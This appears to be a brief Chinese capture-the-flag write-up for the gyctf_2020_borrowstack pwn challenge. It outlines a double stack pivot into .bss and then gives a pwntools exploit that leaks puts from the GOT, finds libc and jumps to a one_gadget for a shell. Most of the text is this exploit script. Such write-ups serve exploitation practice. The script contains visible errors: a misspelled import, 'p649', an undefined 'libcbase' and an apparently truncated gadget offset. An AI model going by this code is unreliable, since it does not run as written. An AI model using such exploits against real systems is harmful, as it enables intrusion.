gyctf_2020_borrowstack
惯例先checksec一下
开启了nx保护的64为程序估计是到栈题 放进ida里看看
我们发现溢出的长度仅为0x10不足以让我们构造rop链 因此考虑栈迁移
有趣的是此处我们是先读取数据到栈上然后再读取数据到bss上
因此我们考虑使用两次栈迁移来实现我们的目标
exp:
from pwm import *
from LibcSearcher import *
#io=remote('')
io=process('./gyctf_2020_borrowstack')
elf=ELF('./gyctf_2020_borrowstack')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bank=0x601080
main=elf.sym['main']
ret=0x4004c9
leave=0x400699
pop_rdi=0x400703
io.recvuntil('u want')
payload='a'*0x60+p64(bank)+p64(leave)
io.sendline(payload)
io.recvuntil('now!')
payload=p649(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
io.recvline()
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
one_gadget=libcbase+0x4526
payload='a'*(0x60+8)+p64(one_gadget)
io.send(payload)
io.interactive()